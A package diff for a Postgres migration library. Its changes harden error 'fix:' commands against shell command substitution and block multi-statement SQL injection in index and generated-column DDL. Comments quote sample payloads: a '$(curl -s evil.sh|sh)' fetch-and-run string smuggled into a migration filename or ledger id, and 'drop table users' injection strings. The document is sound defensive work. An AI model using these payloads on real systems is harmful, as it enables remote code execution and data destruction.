@ultimat3/db 19.2.0 → 19.3.2

package/CLAUDE.md

@@ -9,7 +9,7 @@ reaches down to this package for it. **Never** import `entity`, `jobs`, `http` o
 |---|---|
 | Deps | none. `@electric-sql/pglite` is an **optional peer**, imported by variable specifier inside `loadPgliteDriver()` so no consumer's `tsc` or bundler resolves it. **No ORM** — `entity`'s hand-written `postgresDriver()` is the production backing |
 | SQL | `sql` binds `$n`; anything non-scalar and non-fragment throws `X_SQL_UNSAFE` |
-| A name reaching a `fix:` | `shellInertIdentifier()` (`sql.ts`), the tree's ONE screen for it, `As of 2026-08-26`. `identifier()` alone does not close it: it refuses `"`, `\` and whitespace and **accepts** a backtick and a `$` — `SAFE_IDENTIFIER` allows `$` on its fast path — which are the two characters a shell substitutes inside DOUBLE quotes. A refused name is left OUT of the command, never escaped into it |
+| A name reaching a `fix:` | `shellInertIdentifier()` (`sql.ts`), the tree's ONE screen for it, `As of 2026-08-26`. `identifier()` alone does not close it: it refuses `"`, `\` and whitespace and **accepts** a backtick and a `$` — `SAFE_IDENTIFIER` allows `$` on its fast path — which are the two characters a shell substitutes inside DOUBLE quotes. A refused name is left OUT of the command, never escaped into it. The one file that cannot call it is `migration-errors.ts` — `sql.ts` imports from it — so that one screens through `@ultimat3/core`'s `renderFixShellArg`, same question, same degradation |
 | Escape hatches | `raw()`, `identifier()`, `literal()` — each call is an audit point. `literal()` is the tree's ONE SQL-string-literal escape (`scripts/sql-literal-copies.ts`, pinned at zero) and it emits `E'…'` when the value carries a backslash |
 | SQLSTATE | one reader, `sqlState()` (`sqlstate.ts`). Never read `error.code` for a SQLSTATE |
 | Reading a caught value | `renderThrowable()` from core; never `error instanceof Error ? error.message : String(error)` — both halves RUN app code (a `Proxy` trap, `Symbol.toPrimitive`) and `checkDb` backs `/readyz`, where a render that throws is an exception in place of the report the kubelet asked for |
@@ -1403,6 +1403,24 @@ survives the round trip whole.
   and the name is read off `cause`/`meta` instead. Every benign rendering is byte-identical: the
   screen sits on the refusal branch alone, because roughly ten pages across `packages/cli`,
   `packages/core`, `wiki/` and `docs/` quote `x db gen "add <name>"` verbatim.
+  **`unknownSchema` was the one finding in that file that never ran it, until 2026-09-06.** Its
+  `fix:` splices a migration id into `git checkout -- "*<id>.snapshot.json"` and a migration name
+  into `x db gen "<name>"`, both inside shell double quotes — and both are FILENAME text
+  (`parseMigrationSql` takes the id off the file and derives the name from it), so a migration
+  called `0002_$(curl -s evil.sh|sh).sql` built a line that runs on paste. Screened and degraded
+  to prose like its neighbours; an **empty** id keeps its glob, because `""` substitutes nothing
+  and that case is "no migrations at all" rather than a name the screen refused
+  (`drift-findings.test.ts`).
+  **`migrationSnapshotMissing` is the same condition one file over, screened the same day.** Its
+  `fix:` leads with `git checkout -- <file>` and then `rm <file-glob> && x db gen "<name>"` — the
+  one `rm` this package tells a reader to paste — off the same filename text. It screens through
+  `@ultimat3/core`'s `renderFixShellArg` rather than `shellInertIdentifier`, because
+  `migration-errors.ts` may not import `sql.ts` (that module imports `identifierUnsafe` from it,
+  and the cycle would run around the module whose evaluation registers every code); the two
+  screens answer the same question and the degradation is identical — the WHOLE line becomes
+  prose, since a `rm` whose argument was substituted away still reads as a command and now removes
+  something else. `x db gen` writes slugified ids (`generate.ts`'s `slugify`), so no id the
+  generator produces is degraded (`snapshot-missing.test.ts`).
 
 - **`dbDrift()` lives in `drift-errors.ts` and not in `errors.ts`, for exactly the reason
   `dependent-view.ts` states.** Its `fix:` needs `shellInertIdentifier` and `sql.ts` imports

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ultimat3/db",
-  "version": "19.2.0",
+  "version": "19.3.2",
   "description": "Postgres access, transactions, migrations and drift detection",
   "license": "MIT",
   "type": "module",
@@ -31,7 +31,7 @@
     "test": "bun test"
   },
   "dependencies": {
-    "@ultimat3/core": "19.2.0"
+    "@ultimat3/core": "19.3.2"
   },
   "peerDependencies": {
     "@electric-sql/pglite": ">=0.5.0"

package/src/ddl-errors.ts

@@ -0,0 +1,59 @@
+// The refusals a generated DDL FRAGMENT earns before it is spliced into a statement: an index's
+// direction, its partial predicate, a generated column's expression. Split from `errors.ts`, which
+// is at its ceiling — `invariant-errors.ts`' reason. All three are `X_SQL_UNSAFE`, declared there:
+// an unchecked operand reaching statement text is one situation, and axiom 1 gives it one code.
+
+import { describeValue } from '@ultimat3/core';
+import { DbError } from './errors';
+
+/**
+ * A direction that is not one of the two. `X_SQL_UNSAFE` for the reason `indexMethodInvalid` uses
+ * it: `create index … ("c" <order>)` takes no parameters, so the direction is SPLICED into the
+ * statement text. `IndexDescriptionLike.order` crosses the tier seam from `@ultimat3/entity`
+ * structurally and is validated by nothing on the way, and `snapshot-parse.ts` screens only the
+ * RECORDED side — so a hand-edited `.snapshot.json` or a projection this package cannot typecheck
+ * reaches `createIndex` unchecked, and `x db gen` writes the result into a file `ROLE=migrate`
+ * runs.
+ *
+ * `describeValue`, never the value, for the reason `indexMethodInvalid` gives: this cause is
+ * folded into a problem document and a log line.
+ */
+export const indexOrderInvalid = (index: string, received: unknown): DbError =>
+  new DbError({
+    code: 'X_SQL_UNSAFE',
+    cause: `the direction of index "${index}" must be 'asc' or 'desc'; got ${describeValue(received)}`,
+    fix: `indexes: [{ on: ['<column>'], order: 'desc' }]   # or leave it out for the ascending default, then x db gen`,
+    meta: { index },
+  });
+
+/**
+ * A partial index predicate holding more than one command. Read through `statementsOf` — this
+ * package's one lexer, so a `;` inside a string literal is data and not a second statement — and
+ * refused before it is spliced into `where (…)`.
+ *
+ * The same screen `declaredChecks` (`check-ddl.ts`) applies to a CHECK's expression, on the same
+ * seam: the text arrives from an entity's `indexes: [{ where }]`, from an `invariant(c.unique([…]))`
+ * through `uniqueIndexOf`, or from a `.snapshot.json`. `invariant-ddl.ts` says one rule covers
+ * every expression, and until this landed the index half had none.
+ */
+export const indexPredicateUnsafe = (index: string, count: number): DbError =>
+  new DbError({
+    code: 'X_SQL_UNSAFE',
+    cause: `the predicate of index "${index}" holds ${count} commands; a partial index takes one expression`,
+    fix: `indexes: [{ on: ['<column>'], where: 'deleted_at is null' }]   # one expression, built with the column DSL, then x db gen`,
+    meta: { index, count },
+  });
+
+/**
+ * A generated column's expression holding more than one command, refused before it is spliced into
+ * `generated always as (…) stored`. Same lexer and same argument as `indexPredicateUnsafe`: the
+ * expression crosses the tier seam as text (`@ultimat3/entity`'s `.searchable()` builds one), and
+ * a second command riding it is an injection rather than a typo.
+ */
+export const generatedExpressionUnsafe = (column: string, count: number): DbError =>
+  new DbError({
+    code: 'X_SQL_UNSAFE',
+    cause: `the expression of generated column "${column}" holds ${count} commands; a generated column is one expression`,
+    fix: `give "${column}" a single expression — .searchable() or generated: 'lower("title")' — then x db gen`,
+    meta: { column, count },
+  });

package/src/drift-findings.ts

@@ -167,20 +167,36 @@ export function missingTable(table: string): DriftDifference {
  */
 export function unknownSchema(migrations: readonly Migration[]): DriftDifference {
   const newest = [...migrations].sort((a, b) => (a.id < b.id ? -1 : 1)).at(-1);
+  const id = newest?.id ?? '';
+  const name = newest?.name ?? 'initial';
+  // Both go inside SHELL DOUBLE QUOTES and both are FILENAME text — `parseMigrationSql` takes the
+  // id off the file and derives the name from it — so whoever can add a file to the migrations
+  // directory picks what a reader pastes, and `$(…)` and a backtick substitute before `git` or `x`
+  // is reached. The same screen `unexpectedColumn` and `changedColumn` already ran, on the one
+  // finding in this file that skipped it. Degraded to prose rather than escaped: a glob is not an
+  // identifier and a migration description is not one either, so neither has a quoted form that
+  // makes a hostile name safe. An EMPTY id is inert by construction and keeps its glob — that is
+  // "no migrations at all", not a name this function refused to spell.
+  const spellable =
+    (id === '' || shellInertIdentifier(id) !== null) && shellInertIdentifier(name) !== null;
   return {
     kind: 'unknown-schema',
     table: '',
     column: null,
     cause:
-      `migration "${newest?.id ?? ''}" records no schema snapshot, so what this database owes ` +
+      `migration "${id}" records no schema snapshot, so what this database owes ` +
       'cannot be established',
     // The same two remedies `X_MIGRATION_SNAPSHOT_MISSING` names, in the same order, because it is
     // the same condition. It used to lead with `x db gen`, which raises that error and whose own
     // fix pointed back here — a cycle a scaffolded app hit on its first `x db migrate`. The
     // pathspec is a glob because this package is tier 1: only `@ultimat3/cli` knows the directory.
-    fix:
-      `git checkout -- "*${newest?.id ?? ''}.snapshot.json"   # or, if it was never written: ` +
-      `delete migration "${newest?.id ?? ''}" and rerun x db gen "${newest?.name ?? 'initial'}"`,
+    fix: spellable
+      ? `git checkout -- "*${id}.snapshot.json"   # or, if it was never written: ` +
+        `delete migration "${id}" and rerun x db gen "${name}"`
+      : 'restore the .snapshot.json committed beside the newest migration, or delete that ' +
+        'migration and rerun x db gen with its description — the migration named in this ' +
+        "difference's cause carries a backtick, a dollar sign, a quote, a backslash or " +
+        'whitespace in its file name, so no command here can spell it',
   };
 }
 

package/src/generated-column.ts

@@ -4,12 +4,14 @@
 // expression moves are each a rule of their own, and none of them is the ordinary column's.
 
 import { assert } from '@ultimat3/core';
+import { generatedExpressionUnsafe } from './ddl-errors';
 import type { ColumnDescriptionLike } from './entity-shape';
 import type { Plan } from './foreign-key-plan';
 import type { ColumnDescription, TableDescription } from './introspect';
 import type { MovedAside } from './retype-dependents';
 import { moveDependentsAside } from './retype-dependents';
 import { identifier } from './sql';
+import { statementsOf } from './statement-split';
 
 /** How a column that moved was brought back into line — what the caller has to do next, if anything. */
 export type Regeneration = 'unchanged' | 'altered' | 'rebuilt';
@@ -46,6 +48,12 @@ export function generatedClause(column: ColumnDescriptionLike): string {
     `column "${column.column}" is generated by an empty expression`,
     `give "${column.property}" an expression, or drop the generated declaration`,
   );
+  // The expression is SPLICED, so it is screened for a second command first — the rule
+  // `declaredChecks` (`check-ddl.ts`) applies to a CHECK's predicate, on the same seam and with
+  // the same lexer, so a `;` inside a string literal stays data. Measured before it:
+  // `generated always as (upper(title)); drop table users; --) stored`.
+  const commands = statementsOf(expression).length;
+  if (commands > 1) throw generatedExpressionUnsafe(column.column, commands);
   return ` generated always as (${expression}) stored`;
 }
 

package/src/index-ddl.ts

@@ -5,11 +5,13 @@
 // statements it puts in it, and `invariant-ddl.ts` decides which indexes a table declares.
 
 import { assert } from '@ultimat3/core';
+import { indexOrderInvalid, indexPredicateUnsafe } from './ddl-errors';
 import type { EntityDescriptionLike, IndexDescriptionLike } from './entity-shape';
 import type { Plan } from './foreign-key-plan';
 import { declaredMethod, indexMethodOf, indexMethodSql } from './index-method';
 import type { IndexDescription } from './introspect';
 import { identifier } from './sql';
+import { statementsOf } from './statement-split';
 
 /**
  * A `unique` column clause already creates an index, and Postgres names it exactly what the
@@ -39,6 +41,44 @@ export function impliedByColumnClause(
   return column !== undefined && column.unique && !column.primaryKey && added.has(only);
 }
 
+/**
+ * The direction, re-derived from the closed set and never spliced — `indexMethodSql`'s rule, for
+ * the identical operand hazard. The TYPE is not the guard: `IndexDescriptionLike.order` crosses
+ * the tier seam from `@ultimat3/entity` structurally and `snapshot-parse.ts` screens only the
+ * RECORDED side, so `order: 'desc; drop table users; --'` type-checked all the way into
+ * `create index "posts_x_idx" on "posts" ("slug" desc; drop table users; --);` — a file
+ * `ROLE=migrate` runs. `''` for `null`, so an index that declared no direction emits the statement
+ * this generator always emitted, byte for byte.
+ */
+function indexOrderSql(index: IndexDescriptionLike): string {
+  switch (index.order) {
+    case null:
+      return '';
+    case 'asc':
+      return ' asc';
+    case 'desc':
+      return ' desc';
+    default: {
+      const unhandled: never = index.order;
+      throw indexOrderInvalid(index.name, unhandled);
+    }
+  }
+}
+
+/**
+ * The partial predicate, screened for a second command before it is spliced into `where (…)`.
+ * `declaredChecks` (`check-ddl.ts`) applies exactly this to a CHECK's expression and
+ * `invariant-ddl.ts` says one rule covers every expression — the index half had none, and it is
+ * fed by `indexes: [{ where }]` and by `invariant(c.unique([…]))` through `uniqueIndexOf`.
+ * `statementsOf` is this package's one lexer, so a `;` inside a string literal stays data.
+ */
+function indexPredicateSql(index: IndexDescriptionLike): string {
+  if (index.where === null) return '';
+  const commands = statementsOf(index.where).length;
+  if (commands > 1) throw indexPredicateUnsafe(index.name, commands);
+  return ` where (${index.where})`;
+}
+
 /**
  * Every part of the declaration reaches the statement: the whole column list in its declared
  * order, the direction when one was asked for, and the predicate that makes it partial. A part
@@ -67,11 +107,11 @@ export function createIndex(table: string, index: IndexDescriptionLike): string
     `indexes: [{ on: ['<column>'], using: '${method}' }]   # drop order, or drop using`,
   );
   const kind = index.unique ? 'create unique index' : 'create index';
-  const direction = index.order === null ? '' : ` ${index.order}`;
+  const direction = indexOrderSql(index);
   const columns = index.columns
     .map((column) => `${identifier(column).text}${direction}`)
     .join(', ');
-  const predicate = index.where === null ? '' : ` where (${index.where})`;
+  const predicate = indexPredicateSql(index);
   // Re-derived from the closed set, never spliced: `indexMethodSql` answers `''` for a btree, so
   // an index that declared no method emits the statement this generator always emitted, byte for
   // byte, and one that declared a method Postgres does not have is refused instead of built.

package/src/index.ts

@@ -32,6 +32,11 @@ export type { ColumnDefaultLike } from './column-default';
 export { defaultExpression } from './column-default';
 export type { DbHealthReport } from './db-health';
 export { checkDb } from './db-health';
+export {
+  generatedExpressionUnsafe,
+  indexOrderInvalid,
+  indexPredicateUnsafe,
+} from './ddl-errors';
 export { defaultClient, REPLICA_URL_ENV } from './default-client';
 export type { DestructiveKind, DestructiveStatement } from './destructive';
 export {

package/src/migrate.ts

@@ -164,8 +164,7 @@ export function auditLedger(
       // and backfill — and this is one of the two errors most likely to fire during a real deploy.
       // A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
       // does, and the one edit that resolves the disagreement.
-      `deploy app version "${first.app_version}" — or, if that build is gone, drop its row: ` +
-        `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} where id = '${first.id}'"`,
+      conflictFix(first),
     );
   }
 
@@ -181,6 +180,35 @@ export function auditLedger(
   }
 }
 
+/**
+ * The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
+ * a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
+ * substitute before psql is reached at all. Measured before this screen: an id of
+ * `$(curl -s evil.sh|sh)` produced exactly that command.
+ *
+ * So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
+ * (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
+ * character of it inert in shell double quotes and inert inside a SQL string literal. One command
+ * shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
+ *
+ * It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
+ * degraded the whole line to prose naming no command — so a row could take the one instruction
+ * away from the operator by holding a space. An error that stops being an instruction under
+ * adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
+ * at all any more; the CAUSE already names it, and the fix's job is to be runnable.
+ *
+ * The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
+ * which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
+ */
+function conflictFix(row: LedgerRow): string {
+  const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
+  return (
+    'deploy the app version this error names — or, if that build is gone, drop its row: ' +
+    `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
+    `where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
+  );
+}
+
 export function pendingMigrations(
   ledger: readonly LedgerRow[],
   migrations: readonly Migration[],

package/src/migration-errors.ts

@@ -5,6 +5,7 @@
 // was: every code below is still declared, titled and registered there, and `DbError` is still the
 // one class. One direction only — nothing here is imported back.
 
+import { renderFixShellArg } from '@ultimat3/core';
 import { DESTRUCTIVE_CAUSE, DESTRUCTIVE_MARKER, type DestructiveStatement } from './destructive';
 import { DbError } from './errors';
 
@@ -88,13 +89,32 @@ const snapshotSiblings = (file: string): string => file.replace(/\.snapshot\.jso
  */
 const migrationNameOf = (id: string): string => id.replace(/^\d+_/, '') || id;
 
+/**
+ * Can a command spell this value at all? `renderFixShellArg` (`@ultimat3/core`) answers the
+ * placeholder for anything a shell would READ, so a value that comes back unchanged is one that
+ * travels verbatim. `shellInertIdentifier` is `sql.ts`'s answer to the same question and is
+ * deliberately not used here: that module imports `identifierUnsafe` from this one, and an import
+ * cycle around the module whose evaluation REGISTERS every code is not a cycle worth having.
+ */
+const shellSpellable = (value: string): boolean =>
+  value !== '' && renderFixShellArg(value, '') === value;
+
 /**
  * The sidecar every generated migration writes is what the *next* generation diffs against, so a
  * newest migration without one leaves nothing to diff. Refused rather than defaulted to the empty
  * schema, which would generate `create table` for every table the database already holds.
  */
-export const migrationSnapshotMissing = (id: string, file: string): DbError =>
-  new DbError({
+export const migrationSnapshotMissing = (id: string, file: string): DbError => {
+  // Both values are FILENAME text — `parseMigrationSql` reads the id off the file — so whoever can
+  // add a file to the migrations directory picks what a reader pastes, and `rm` is the one command
+  // in this package that cannot be taken back. The name lands inside SHELL DOUBLE QUOTES, where
+  // `$(…)` and a backtick substitute before `x` is reached at all, and a migration description has
+  // no quoted form that would make a hostile one safe to pass. So the whole line degrades to prose
+  // rather than half of it being escaped — the same screen and the same degradation `unknownSchema`
+  // (`drift-findings.ts`) runs on the same condition. A `rm` whose argument was substituted away
+  // still reads as a command, and now removes something else.
+  const spellable = shellSpellable(file) && shellSpellable(migrationNameOf(id));
+  return new DbError({
     code: 'X_MIGRATION_SNAPSHOT_MISSING',
     cause: `migration "${id}" records no schema snapshot (${file}), so there is nothing to diff against`,
     // Two remedies, both commands, in the order they are safe to try. "restore from version
@@ -102,11 +122,16 @@ export const migrationSnapshotMissing = (id: string, file: string): DbError =>
     // nothing to restore — and the drift this refusal answers named `x db gen` as *its* fix, so
     // the two errors pointed at each other and an app's first migration had no way out.
     // `x db gen` is named only *after* the files it would trip over are gone.
-    fix:
-      `git checkout -- ${file}   # or, if it was never written: ` +
-      `rm ${snapshotSiblings(file)} && x db gen "${migrationNameOf(id)}"`,
+    fix: spellable
+      ? `git checkout -- ${file}   # or, if it was never written: ` +
+        `rm ${snapshotSiblings(file)} && x db gen "${migrationNameOf(id)}"`
+      : 'restore the .snapshot.json committed beside this migration, or delete every file that ' +
+        'migration owns and rerun x db gen with its description — the file named in this ' +
+        "error's cause carries a backtick, a dollar sign, a quote, a backslash or whitespace, " +
+        'so no command here can spell it',
     meta: { id, file },
   });
+};
 
 /**
  * One error per file, never one per statement: the marker declares the whole migration, so a